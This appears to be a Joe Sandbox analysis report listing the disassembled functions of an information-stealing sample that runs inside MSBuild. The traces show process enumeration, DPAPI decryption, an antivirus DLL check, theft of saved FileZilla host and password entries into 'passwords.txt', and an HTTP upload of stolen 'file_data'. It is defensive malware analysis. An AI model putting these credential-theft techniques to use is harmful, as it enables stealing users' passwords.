Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction ID: ba20de4f6d07cba688775156cda93bca6e715b227c052c7d3b8ee28496ea85f9
Opcode Fuzzy Hash: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction Fuzzy Hash: 2A314F71900328AFCB20EF65DD89BDEB3B8AB04304F5045EAF519A3152D7B86EC58F54

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction ID: a342571249a904de89e2d28a6ac51ba89f12813f8da7ed82e50d95a069ae9259
Opcode Fuzzy Hash: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction Fuzzy Hash: C1018135600224AFEB61DB609D48FEE77FE9F19301F8400E6E40DE2251EA798B849B35

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction ID: cecb0f06a50482290116f099c25e0230255ed02a1d9bcffe7551c72d2d14305d
Opcode Fuzzy Hash: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction Fuzzy Hash: 9C117771A00214ABDB11EB65DC85BEE73A9AB48304F400097F905A3251DB78AEC48B64

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction ID: 61d95923a291ecda6e095beb314f014951f64f3de92a0ce4f4bd39d2e0bf5c47
Opcode Fuzzy Hash: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction Fuzzy Hash: F2F0E071A0132467EB04DFB4EC49B9B37659B04725F100295F511D71D0EB759E844785

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction ID: 6ece5ee49d11cdb060b7bdfc3a79890b10628a8e35908506f9dd9848dd200c5c
Opcode Fuzzy Hash: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction Fuzzy Hash: 63E092B1D1020DABCF04DF60EC459DE77FCEB08308F0054B5A505E3180D674AB888F44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,00418654), ref: 004014DF

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,af641acce3f8c85bf2490a9b3aa972c5,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

", xrefs: 00405AD8
", xrefs: 00405C35
--, xrefs: 00405600
------, xrefs: 00405B5D
------, xrefs: 00405605
", xrefs: 0040597B
file_data, xrefs: 00405C09
", xrefs: 0040581B
------, xrefs: 0040589D
ERROR, xrefs: 00405D79
block, xrefs: 00405E30
build_id, xrefs: 0040594F
af641acce3f8c85bf2490a9b3aa972c5, xrefs: 004059A7
ERROR, xrefs: 00405F2F
------, xrefs: 004059FF
------, xrefs: 0040573C

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$ERROR$ERROR$af641acce3f8c85bf2490a9b3aa972c5$block$build_id$file_data
API String ID: 2638065154-4131401294
Opcode ID: 177d59b578fcbf7e257bc24f654d4a050c0cfce4b238dadea4729ba93ceee506
Instruction ID: 4baf88cb2a5c47609fe6293a48fe3edcdf17a13d7b96339157f3ca2814525fa3
Opcode Fuzzy Hash: 177d59b578fcbf7e257bc24f654d4a050c0cfce4b238dadea4729ba93ceee506
Instruction Fuzzy Hash: 8F42E671D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Soft: FileZilla, xrefs: 0040E948
passwords.txt, xrefs: 0040EA4D
<Port>, xrefs: 0040E818
Login: , xrefs: 0040E98C
Host: , xrefs: 0040E954
<Host>, xrefs: 0040E7D9
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
<Pass encoding="base64">, xrefs: 0040E88A
Password: , xrefs: 0040E9AE
<User>, xrefs: 0040E851

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: 615d63f7bf2d45f6f47d8fedcf3be5491d61456915c6e85213d9bd40bf3d1580
Instruction ID: 14048a2b419fde31a88832429adc402d622cfb8f20e2d9bcd7eb6ceae992149e
Opcode Fuzzy Hash: 615d63f7bf2d45f6f47d8fedcf3be5491d61456915c6e85213d9bd40bf3d1580
Instruction Fuzzy Hash: E5A18572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
